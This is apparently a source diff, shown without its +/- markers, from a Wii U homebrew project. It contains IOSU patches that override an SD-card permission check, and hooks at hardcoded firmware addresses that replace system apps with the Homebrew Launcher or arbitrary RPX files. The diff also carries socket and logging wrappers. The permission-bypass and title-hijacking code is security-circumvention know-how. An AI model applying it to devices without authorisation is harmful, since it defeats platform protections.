u32 num_io;
struct _ioctlv *vector;
} ioctlv;
};
u32 prev_command;
u32 prev_fd;
u32 virt0;
u32 virt1;
u32 prev_command;
u32 prev_fd;
u32 virt0;
u32 virt1;
} __attribute__((packed)) ipcmessage;
#endif

View File

@ -9,24 +9,24 @@
static int log_socket = 0;
int log_init(unsigned int ipAddress){
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0){
return log_socket;
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0){
return log_socket;
}
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
connect_addr.sin_addr.s_addr = ipAddress;
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
connect_addr.sin_addr.s_addr = ipAddress;
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
closesocket(log_socket);
log_socket = -1;
}
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
closesocket(log_socket);
log_socket = -1;
}
return log_socket;
return log_socket;
}
void log_deinit()

View File

@ -9,10 +9,8 @@
static int threadsStarted = 0;
int _startMainThread(void)
{
if(threadsStarted == 0)
{
int _startMainThread(void) {
if (threadsStarted == 0) {
threadsStarted = 1;
wupserver_init();
@ -23,14 +21,14 @@ int _startMainThread(void)
void patch_SD_access_check(void) {
__asm__ volatile(
".thumb\n"
//clobbered instructions
"add r0, r7, r2\n"
//app.permissions.r2.mask seems to be 0xFFFFFFFFFFFFFFFF for every application
"ldr r1, =0x32\n"
"sub r3, r3, #7\n"
"strb r1, [r3]\n"
//this instruction was also clobbered but we use r1 so we do it after our patch stuff
"movs r1, #0\n"
"bx lr");
".thumb\n"
//clobbered instructions
"add r0, r7, r2\n"
//app.permissions.r2.mask seems to be 0xFFFFFFFFFFFFFFFF for every application
"ldr r1, =0x32\n"
"sub r3, r3, #7\n"
"strb r1, [r3]\n"
//this instruction was also clobbered but we use r1 so we do it after our patch stuff
"movs r1, #0\n"
"bx lr");
}

View File

@ -23,11 +23,13 @@
#include "svc.h"
#include <string.h>
int (*const real_MCP_LoadFile)(ipcmessage* msg) = (void*)0x0501CAA8 + 1; //+1 for thumb
int (*const MCP_DoLoadFile)(const char* path, const char* path2, void* outputBuffer, uint32_t outLength, uint32_t pos, int* bytesRead, uint32_t unk) = (void*)0x05017248 + 1;
int (*const MCP_UnknownStuff)(const char* path, uint32_t pos, void* outputBuffer, uint32_t outLength, uint32_t outLength2, uint32_t unk) = (void*)0x05014CAC + 1;
int (*const real_MCP_LoadFile)(ipcmessage *msg) = (void *) 0x0501CAA8 + 1; //+1 for thumb
int (*const MCP_DoLoadFile)(const char *path, const char *path2, void *outputBuffer, uint32_t outLength, uint32_t pos, int *bytesRead, uint32_t unk) = (void *) 0x05017248 + 1;
int (*const MCP_UnknownStuff)(const char *path, uint32_t pos, void *outputBuffer, uint32_t outLength, uint32_t outLength2, uint32_t unk) = (void *) 0x05014CAC + 1;
static int MCP_LoadCustomFile(int target, char *path, int filesize, int fileoffset, void *out_buffer, int buffer_len, int pos);
static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * out_buffer, int buffer_len, int pos);
static bool skipPPCSetup = false;
static bool didrpxfirstchunk = false;
static bool doWantReplaceRPX = false;
@ -44,14 +46,14 @@ static char rpxpath[256];
return -29; \
}
int _MCP_LoadFile_patch(ipcmessage* msg) {
int _MCP_LoadFile_patch(ipcmessage *msg) {
FAIL_ON(!msg->ioctl.buffer_in, 0);
FAIL_ON(msg->ioctl.length_in != 0x12D8, msg->ioctl.length_in);
FAIL_ON(!msg->ioctl.buffer_io, 0);
FAIL_ON(!msg->ioctl.length_io, 0);
MCPLoadFileRequest* request = (MCPLoadFileRequest*)msg->ioctl.buffer_in;
MCPLoadFileRequest *request = (MCPLoadFileRequest *) msg->ioctl.buffer_in;
//dumpHex(request, sizeof(MCPLoadFileRequest));
//DEBUG_FUNCTION_LINE("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io);
@ -60,13 +62,13 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
int replace_target = replace_target_device;
int replace_filesize = rep_filesize;
int replace_fileoffset = rep_fileoffset;
char * replace_path = rpxpath;
char *replace_path = rpxpath;
skipPPCSetup = true;
if(strncmp(request->name, "men.rpx", strlen("men.rpx")) == 0) {
if (strncmp(request->name, "men.rpx", strlen("men.rpx")) == 0) {
//replace_path = "wiiu/root.rpx";
if(skipPPCSetup){
if (skipPPCSetup) {
replace_path = "wiiu/men.rpx";
}
// At startup we want to hook into the Wii U Menu by replacing the men.rpx with a file from the SD Card
@ -84,13 +86,13 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
// on error don't try it again.
skipPPCSetup = true;
}
} else if(strncmp(request->name, "safe.rpx", strlen("safe.rpx")) == 0) {
} else if (strncmp(request->name, "safe.rpx", strlen("safe.rpx")) == 0) {
if (request->pos == 0) {
didrpxfirstchunk = false;
}
// if we don't explicitly replace files, we do want replace the Healt and Safety app with the HBL
if(!doWantReplaceRPX) {
if (!doWantReplaceRPX) {
replace_path = "wiiu/apps/homebrew_launcher/homebrew_launcher.rpx";
replace_target = LOAD_FILE_TARGET_SD_CARD;
//doWantReplaceXML = false;
@ -100,7 +102,7 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
}
}
if(replace_path != NULL && strlen(replace_path) > 0) {
if (replace_path != NULL && strlen(replace_path) > 0) {
if (!didrpxfirstchunk || request->pos > 0) {
doWantReplaceRPX = false; // Only replace it once.
int result = MCP_LoadCustomFile(replace_target, replace_path, replace_filesize, replace_fileoffset, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos);
@ -121,30 +123,30 @@ int _MCP_LoadFile_patch(ipcmessage* msg) {
// Set filesize to 0 if unknown.
static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * buffer_out, int buffer_len, int pos) {
if(path == NULL) {
static int MCP_LoadCustomFile(int target, char *path, int filesize, int fileoffset, void *buffer_out, int buffer_len, int pos) {
if (path == NULL) {
return 0;
}
char filepath[256];
memset(filepath,0,sizeof(filepath));
strncpy(filepath, path, sizeof(filepath) -1);
memset(filepath, 0, sizeof(filepath));
strncpy(filepath, path, sizeof(filepath) - 1);
if(target == LOAD_FILE_TARGET_SD_CARD) {
if (target == LOAD_FILE_TARGET_SD_CARD) {
char mountpath[] = "/vol/storage_iosu_homebrew";
int fsa_h = svcOpen("/dev/fsa", 0);
FSA_Mount(fsa_h, "/dev/sdcard01", mountpath, 2, NULL, 0);
svcClose(fsa_h);
strncpy(filepath,mountpath,sizeof(filepath) -1);
strncat(filepath,"/",(sizeof(filepath) - 1) - strlen(filepath));
strncat(filepath,path,(sizeof(filepath) - 1) - strlen(filepath));
strncpy(filepath, mountpath, sizeof(filepath) - 1);
strncat(filepath, "/", (sizeof(filepath) - 1) - strlen(filepath));
strncat(filepath, path, (sizeof(filepath) - 1) - strlen(filepath));
}
DEBUG_FUNCTION_LINE("Load custom path \"%s\"\n", filepath);
if(filesize > 0 && (pos + fileoffset > filesize)) {
if (filesize > 0 && (pos + fileoffset > filesize)) {
return 0;
}
@ -164,7 +166,7 @@ static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffs
//log("MCP_UnknownStuff returned %d\n", result);
if (result >= 0) {
if(filesize > 0 && (bytesRead + pos > filesize)) {
if (filesize > 0 && (bytesRead + pos > filesize)) {
return filesize - pos;
}
return bytesRead;
@ -176,83 +178,83 @@ static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffs
/* RPX replacement! Call this ioctl to replace the next loaded RPX with an arbitrary path.
DO NOT RETURN 0, this affects the codepaths back in the IOSU code */
int _MCP_ioctl100_patch(ipcmessage* msg) {
int _MCP_ioctl100_patch(ipcmessage *msg) {
/* Give some method to detect this ioctl's prescence, even if the other args are bad */
if (msg->ioctl.buffer_io && msg->ioctl.length_io >= sizeof(u32)) {
*(u32*)msg->ioctl.buffer_io = 1;
*(u32 *) msg->ioctl.buffer_io = 1;
}
FAIL_ON(!msg->ioctl.buffer_in, 0);
FAIL_ON(!msg->ioctl.length_in, 0);
if(msg->ioctl.buffer_in && msg->ioctl.length_in >= 4) {
if (msg->ioctl.buffer_in && msg->ioctl.length_in >= 4) {
int command = msg->ioctl.buffer_in[0];
switch(command) {
case IPC_CUSTOM_LOG_STRING: {
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOG_STRING\n");
if(msg->ioctl.length_in > 4) {
char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x04 / 0x04];
str_ptr[msg->ioctl.length_in - 0x04 - 1] = 0;
log_printf("%s",str_ptr);
switch (command) {
case IPC_CUSTOM_LOG_STRING: {
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOG_STRING\n");
if (msg->ioctl.length_in > 4) {
char *str_ptr = (char *) &msg->ioctl.buffer_in[0x04 / 0x04];
str_ptr[msg->ioctl.length_in - 0x04 - 1] = 0;
log_printf("%s", str_ptr);
}
return 1;
}
return 1;
}
case IPC_CUSTOM_META_XML_SWAP_REQUIRED: {
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_SWAP_REQUIRED\n");
/*if(doWantReplaceXML) {
msg->ioctl.buffer_io[0] = 10;
} else {
msg->ioctl.buffer_io[0] = 11;
case IPC_CUSTOM_META_XML_SWAP_REQUIRED: {
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_SWAP_REQUIRED\n");
/*if(doWantReplaceXML) {
msg->ioctl.buffer_io[0] = 10;
} else {
msg->ioctl.buffer_io[0] = 11;
}
return 1;*/
}
return 1;*/
}
case IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED\n");
skipPPCSetup = true;
return 1;
}
/*
case IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER\n");
gbl_counter++;
if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) {
return 1;
}*/
case IPC_CUSTOM_META_XML_READ: {
if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_READ\n");
ACPMetaXml * app_ptr = (ACPMetaXml*) msg->ioctl.buffer_io;
strncpy(app_ptr->longname_en, rpxpath, 256 - 1);
strncpy(app_ptr->shortname_en, rpxpath, 256 - 1);
case IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED\n");
skipPPCSetup = true;
return 1;
}
return 1;
}
case IPC_CUSTOM_LOAD_CUSTOM_RPX: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOAD_CUSTOM_RPX\n");
/*
case IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER\n");
gbl_counter++;
if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) {
if(msg->ioctl.length_in >= 0x110) {
int target = msg->ioctl.buffer_in[0x04/0x04];
int filesize = msg->ioctl.buffer_in[0x08/0x04];
int fileoffset = msg->ioctl.buffer_in[0x0C/0x04];
char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x10 / 0x04];
memset(rpxpath,0,sizeof(rpxpath));
strncpy(rpxpath, str_ptr, 256 - 1);
rep_filesize = filesize;
rep_fileoffset = fileoffset;
didrpxfirstchunk = false;
doWantReplaceRPX = true;
//doWantReplaceXML = true;
DEBUG_FUNCTION_LINE("Will load %s for next title from target: %d (offset %d, filesize %d)\n", rpxpath, target,rep_fileoffset,rep_filesize);
return 1;
}*/
case IPC_CUSTOM_META_XML_READ: {
if (msg->ioctl.length_io >= sizeof(ACPMetaXml)) {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_READ\n");
ACPMetaXml *app_ptr = (ACPMetaXml *) msg->ioctl.buffer_io;
strncpy(app_ptr->longname_en, rpxpath, 256 - 1);
strncpy(app_ptr->shortname_en, rpxpath, 256 - 1);
}
return 1;
}
case IPC_CUSTOM_LOAD_CUSTOM_RPX: {
DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOAD_CUSTOM_RPX\n");
if (msg->ioctl.length_in >= 0x110) {
int target = msg->ioctl.buffer_in[0x04 / 0x04];
int filesize = msg->ioctl.buffer_in[0x08 / 0x04];
int fileoffset = msg->ioctl.buffer_in[0x0C / 0x04];
char *str_ptr = (char *) &msg->ioctl.buffer_in[0x10 / 0x04];
memset(rpxpath, 0, sizeof(rpxpath));
strncpy(rpxpath, str_ptr, 256 - 1);
rep_filesize = filesize;
rep_fileoffset = fileoffset;
didrpxfirstchunk = false;
doWantReplaceRPX = true;
//doWantReplaceXML = true;
DEBUG_FUNCTION_LINE("Will load %s for next title from target: %d (offset %d, filesize %d)\n", rpxpath, target, rep_fileoffset, rep_filesize);
}
return 1;
}
default: {
}
return 1;
}
default: {
}
}
} else {
return -29;

View File

@ -6,58 +6,52 @@
static int ifmgrncl_handle = 0;
int ifmgrnclInit()
{
if(ifmgrncl_handle) return ifmgrncl_handle;
int ifmgrnclInit() {
if (ifmgrncl_handle) return ifmgrncl_handle;
int ret = svcOpen("/dev/net/ifmgr/ncl", 0);
int ret = svcOpen("/dev/net/ifmgr/ncl", 0);
if(ret > 0)
{
ifmgrncl_handle = ret;
return ifmgrncl_handle;
}
if (ret > 0) {
ifmgrncl_handle = ret;
return ifmgrncl_handle;
}
return ret;
return ret;
}
int ifmgrnclExit()
{
int ret = svcClose(ifmgrncl_handle);
int ifmgrnclExit() {
int ret = svcClose(ifmgrncl_handle);
ifmgrncl_handle = 0;
ifmgrncl_handle = 0;
return ret;
return ret;
}
static void* allocIobuf(u32 size)
{
void* ptr = svcAlloc(0xCAFF, size);
static void *allocIobuf(u32 size) {
void *ptr = svcAlloc(0xCAFF, size);
if(ptr) memset(ptr, 0x00, size);
if (ptr) memset(ptr, 0x00, size);
return ptr;
return ptr;
}
static void freeIobuf(void* ptr)
{
svcFree(0xCAFF, ptr);
static void freeIobuf(void *ptr) {
svcFree(0xCAFF, ptr);
}
int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status)
{
u8* iobuf1 = allocIobuf(0x2);
u16* inbuf = (u16*)iobuf1;
u8* iobuf2 = allocIobuf(0x8);
u16* outbuf = (u16*)iobuf2;
int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16 *out_status) {
u8 *iobuf1 = allocIobuf(0x2);
u16 *inbuf = (u16 *) iobuf1;
u8 *iobuf2 = allocIobuf(0x8);
u16 *outbuf = (u16 *) iobuf2;
inbuf[0] = interface_id;
inbuf[0] = interface_id;
int ret = svcIoctl(ifmgrncl_handle, 0x14, inbuf, 0x2, outbuf, 0x8);
int ret = svcIoctl(ifmgrncl_handle, 0x14, inbuf, 0x2, outbuf, 0x8);
if(!ret && out_status) *out_status = outbuf[2];
if (!ret && out_status) *out_status = outbuf[2];
freeIobuf(iobuf1);
freeIobuf(iobuf2);
return ret;
freeIobuf(iobuf1);
freeIobuf(iobuf2);
return ret;
}

View File

@ -4,8 +4,9 @@
#include "types.h"
int ifmgrnclInit();
int ifmgrnclExit();
int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status);
int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16 *out_status);
#endif

View File

@ -8,222 +8,205 @@
static int socket_handle = 0;
int socketInit()
{
if(socket_handle) return socket_handle;
int socketInit() {
if (socket_handle) return socket_handle;
int ret = svcOpen("/dev/socket", 0);
int ret = svcOpen("/dev/socket", 0);
if(ret > 0)
{
socket_handle = ret;
return socket_handle;
}
if (ret > 0) {
socket_handle = ret;
return socket_handle;
}
return ret;
return ret;
}
int socketExit()
{
int ret = svcClose(socket_handle);
int socketExit() {
int ret = svcClose(socket_handle);
socket_handle = 0;
socket_handle = 0;
return ret;
return ret;
}
static void* allocIobuf(u32 size)
{
void* ptr = svcAlloc(0xCAFF, size);
static void *allocIobuf(u32 size) {
void *ptr = svcAlloc(0xCAFF, size);
if(ptr) memset(ptr, 0x00, size);
if (ptr) memset(ptr, 0x00, size);
return ptr;
return ptr;
}
static void freeIobuf(void* ptr)
{
svcFree(0xCAFF, ptr);
static void freeIobuf(void *ptr) {
svcFree(0xCAFF, ptr);
}
int socket(int domain, int type, int protocol)
{
u8* iobuf = allocIobuf(0xC);
u32* inbuf = (u32*)iobuf;
int socket(int domain, int type, int protocol) {
u8 *iobuf = allocIobuf(0xC);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = domain;
inbuf[1] = type;
inbuf[2] = protocol;
inbuf[0] = domain;
inbuf[1] = type;
inbuf[2] = protocol;
int ret = svcIoctl(socket_handle, 0x11, inbuf, 0xC, NULL, 0);
int ret = svcIoctl(socket_handle, 0x11, inbuf, 0xC, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int closesocket(int sockfd)
{
u8* iobuf = allocIobuf(0x4);
u32* inbuf = (u32*)iobuf;
int closesocket(int sockfd) {
u8 *iobuf = allocIobuf(0x4);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = sockfd;
inbuf[0] = sockfd;
int ret = svcIoctl(socket_handle, 0x3, inbuf, 0x4, NULL, 0);
int ret = svcIoctl(socket_handle, 0x3, inbuf, 0x4, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
{
u8* iobuf = allocIobuf(0x18);
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)inbuf;
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) {
u8 *iobuf = allocIobuf(0x18);
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) inbuf;
inbuf[0] = sockfd;
inbuf[0] = sockfd;
int ret = -1;
int ret = -1;
if(addr && addrlen && *addrlen == 0x10)
{
inbuf[5] = *addrlen;
if (addr && addrlen && *addrlen == 0x10) {
inbuf[5] = *addrlen;
ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18);
ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18);
if(ret >= 0)
{
memcpy(addr, &outbuf[1], outbuf[5]);
*addrlen = outbuf[5];
}
}else{
inbuf[5] = 0x10;
if (ret >= 0) {
memcpy(addr, &outbuf[1], outbuf[5]);
*addrlen = outbuf[5];
}
} else {
inbuf[5] = 0x10;
ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18);
}
ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18);
}
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
if(addrlen != 0x10) return -1;
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
if (addrlen != 0x10) return -1;
u8* iobuf = allocIobuf(0x18);
u32* inbuf = (u32*)iobuf;
u8 *iobuf = allocIobuf(0x18);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = sockfd;
memcpy(&inbuf[1], addr, addrlen);
inbuf[5] = addrlen;
inbuf[0] = sockfd;
memcpy(&inbuf[1], addr, addrlen);
inbuf[5] = addrlen;
int ret = svcIoctl(socket_handle, 0x2, inbuf, 0x18, NULL, 0);
int ret = svcIoctl(socket_handle, 0x2, inbuf, 0x18, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
if(addrlen != 0x10) return -1;
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
if (addrlen != 0x10) return -1;
u8* iobuf = allocIobuf(0x18);
u32* inbuf = (u32*)iobuf;
u8 *iobuf = allocIobuf(0x18);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = sockfd;
memcpy(&inbuf[1], addr, addrlen);
inbuf[5] = addrlen;
inbuf[0] = sockfd;
memcpy(&inbuf[1], addr, addrlen);
inbuf[5] = addrlen;
int ret = svcIoctl(socket_handle, 0x4, inbuf, 0x18, NULL, 0);
int ret = svcIoctl(socket_handle, 0x4, inbuf, 0x18, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int listen(int sockfd, int backlog)
{
u8* iobuf = allocIobuf(0x8);
u32* inbuf = (u32*)iobuf;
int listen(int sockfd, int backlog) {
u8 *iobuf = allocIobuf(0x8);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = sockfd;
inbuf[1] = backlog;
inbuf[0] = sockfd;
inbuf[1] = backlog;
int ret = svcIoctl(socket_handle, 0xA, inbuf, 0x8, NULL, 0);
int ret = svcIoctl(socket_handle, 0xA, inbuf, 0x8, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int shutdown(int sockfd, int how)
{
u8* iobuf = allocIobuf(0x8);
u32* inbuf = (u32*)iobuf;
int shutdown(int sockfd, int how) {
u8 *iobuf = allocIobuf(0x8);
u32 *inbuf = (u32 *) iobuf;
inbuf[0] = sockfd;
inbuf[1] = how;
inbuf[0] = sockfd;
inbuf[1] = how;
int ret = svcIoctl(socket_handle, 0x10, inbuf, 0x8, NULL, 0);
int ret = svcIoctl(socket_handle, 0x10, inbuf, 0x8, NULL, 0);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int recv(int sockfd, void *buf, size_t len, int flags)
{
if(!len) return -101;
int recv(int sockfd, void *buf, size_t len, int flags) {
if (!len) return -101;
// TODO : size checks, split up data into multiple vectors if necessary
void* data_buf = svcAllocAlign(0xCAFF, len, 0x40);
if(!data_buf) return -100;
// TODO : size checks, split up data into multiple vectors if necessary
void *data_buf = svcAllocAlign(0xCAFF, len, 0x40);
if (!data_buf) return -100;
u8* iobuf = allocIobuf(0x38);
iovec_s* iovec = (iovec_s*)iobuf;
u32* inbuf = (u32*)&iobuf[0x30];
u8 *iobuf = allocIobuf(0x38);
iovec_s *iovec = (iovec_s *) iobuf;
u32 *inbuf = (u32 *) &iobuf[0x30];
inbuf[0] = sockfd;
inbuf[1] = flags;
inbuf[0] = sockfd;
inbuf[1] = flags;
iovec[0].ptr = inbuf;
iovec[0].len = 0x8;
iovec[1].ptr = (void*)data_buf;
iovec[1].len = len;
iovec[0].ptr = inbuf;
iovec[0].len = 0x8;
iovec[1].ptr = (void *) data_buf;
iovec[1].len = len;
int ret = svcIoctlv(socket_handle, 0xC, 1, 3, iovec);
int ret = svcIoctlv(socket_handle, 0xC, 1, 3, iovec);
if(ret > 0 && buf)
{
memcpy(buf, data_buf, ret);
}
if (ret > 0 && buf) {
memcpy(buf, data_buf, ret);
}
freeIobuf(data_buf);
freeIobuf(iobuf);
return ret;
freeIobuf(data_buf);
freeIobuf(iobuf);
return ret;
}
int send(int sockfd, const void *buf, size_t len, int flags)
{
if(!buf || !len) return -101;
int send(int sockfd, const void *buf, size_t len, int flags) {
if (!buf || !len) return -101;
// TODO : size checks, split up data into multiple vectors if necessary
void* data_buf = svcAllocAlign(0xCAFF, len, 0x40);
if(!data_buf) return -100;
// TODO : size checks, split up data into multiple vectors if necessary
void *data_buf = svcAllocAlign(0xCAFF, len, 0x40);
if (!data_buf) return -100;
u8* iobuf = allocIobuf(0x38);
iovec_s* iovec = (iovec_s*)iobuf;
u32* inbuf = (u32*)&iobuf[0x30];
u8 *iobuf = allocIobuf(0x38);
iovec_s *iovec = (iovec_s *) iobuf;
u32 *inbuf = (u32 *) &iobuf[0x30];
memcpy(data_buf, buf, len);
memcpy(data_buf, buf, len);
inbuf[0] = sockfd;
inbuf[1] = flags;
inbuf[0] = sockfd;
inbuf[1] = flags;
iovec[0].ptr = inbuf;
iovec[0].len = 0x8;
iovec[1].ptr = (void*)data_buf;
iovec[1].len = len;
iovec[0].ptr = inbuf;
iovec[0].len = 0x8;
iovec[1].ptr = (void *) data_buf;
iovec[1].len = len;
int ret = svcIoctlv(socket_handle, 0xE, 4, 0, iovec);
int ret = svcIoctlv(socket_handle, 0xE, 4, 0, iovec);
freeIobuf(data_buf);
freeIobuf(iobuf);
return ret;
freeIobuf(data_buf);
freeIobuf(iobuf);
return ret;
}

View File

@ -5,55 +5,55 @@
#include <stdint.h>
#include <stdio.h>
#define SOL_SOCKET 0xFFFF
#define SOL_SOCKET 0xFFFF
#define PF_UNSPEC 0
#define PF_INET 2
#define PF_INET6 10
#define PF_UNSPEC 0
#define PF_INET 2
#define PF_INET6 10
#define AF_UNSPEC PF_UNSPEC
#define AF_INET PF_INET
#define AF_INET6 PF_INET6
#define AF_UNSPEC PF_UNSPEC
#define AF_INET PF_INET
#define AF_INET6 PF_INET6
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define MSG_CTRUNC 0x01000000
#define MSG_DONTROUTE 0x02000000
#define MSG_EOR 0x04000000
#define MSG_OOB 0x08000000
#define MSG_PEEK 0x10000000
#define MSG_TRUNC 0x20000000
#define MSG_WAITALL 0x40000000
#define MSG_CTRUNC 0x01000000
#define MSG_DONTROUTE 0x02000000
#define MSG_EOR 0x04000000
#define MSG_OOB 0x08000000
#define MSG_PEEK 0x10000000
#define MSG_TRUNC 0x20000000
#define MSG_WAITALL 0x40000000
#define SHUT_RD 0
#define SHUT_WR 1
#define SHUT_RDWR 2
#define SHUT_RD 0
#define SHUT_WR 1
#define SHUT_RDWR 2
#define SO_DEBUG 0x0001
#define SO_ACCEPTCONN 0x0002
#define SO_REUSEADDR 0x0004
#define SO_KEEPALIVE 0x0008
#define SO_DONTROUTE 0x0010
#define SO_BROADCAST 0x0020
#define SO_USELOOPBACK 0x0040
#define SO_LINGER 0x0080
#define SO_OOBINLINE 0x0100
#define SO_REUSEPORT 0x0200
#define SO_SNDBUF 0x1001
#define SO_RCVBUF 0x1002
#define SO_SNDLOWAT 0x1003
#define SO_RCVLOWAT 0x1004
#define SO_SNDTIMEO 0x1005
#define SO_RCVTIMEO 0x1006
#define SO_ERROR 0x1007
#define SO_TYPE 0x1008
#define SO_DEBUG 0x0001
#define SO_ACCEPTCONN 0x0002
#define SO_REUSEADDR 0x0004
#define SO_KEEPALIVE 0x0008
#define SO_DONTROUTE 0x0010
#define SO_BROADCAST 0x0020
#define SO_USELOOPBACK 0x0040
#define SO_LINGER 0x0080
#define SO_OOBINLINE 0x0100
#define SO_REUSEPORT 0x0200
#define SO_SNDBUF 0x1001
#define SO_RCVBUF 0x1002
#define SO_SNDLOWAT 0x1003
#define SO_RCVLOWAT 0x1004
#define SO_SNDTIMEO 0x1005
#define SO_RCVTIMEO 0x1006
#define SO_ERROR 0x1007
#define SO_TYPE 0x1008
#define INADDR_ANY 0x00000000
#define INADDR_BROADCAST 0xFFFFFFFF
#define INADDR_NONE 0xFFFFFFFF
#define INADDR_ANY 0x00000000
#define INADDR_BROADCAST 0xFFFFFFFF
#define INADDR_NONE 0xFFFFFFFF
#define INET_ADDRSTRLEN 16
#define INET_ADDRSTRLEN 16
#define INADDR_LOOPBACK 0x7f000001
#define INADDR_ANY 0x00000000
@ -76,56 +76,69 @@
typedef uint32_t socklen_t;
typedef uint16_t sa_family_t;
struct sockaddr
{
sa_family_t sa_family;
char sa_data[];
struct sockaddr {
sa_family_t sa_family;
char sa_data[];
};
struct sockaddr_storage
{
sa_family_t ss_family;
char __ss_padding[14];
struct sockaddr_storage {
sa_family_t ss_family;
char __ss_padding[14];
};
typedef uint16_t in_port_t;
typedef uint32_t in_addr_t;
struct in_addr {
in_addr_t s_addr;
in_addr_t s_addr;
};
struct sockaddr_in {
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
};
struct linger
{
int l_onoff;
int l_linger;
struct linger {
int l_onoff;
int l_linger;
};
int socketInit();
int socketExit();
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int closesocket(int sockfd);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen);
int listen(int sockfd, int backlog);
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
ssize_t send(int sockfd, const void *buf, size_t len, int flags);
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen);
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
int shutdown(int sockfd, int how);
int socket(int domain, int type, int protocol);
int sockatmark(int sockfd);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int closesocket(int sockfd);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
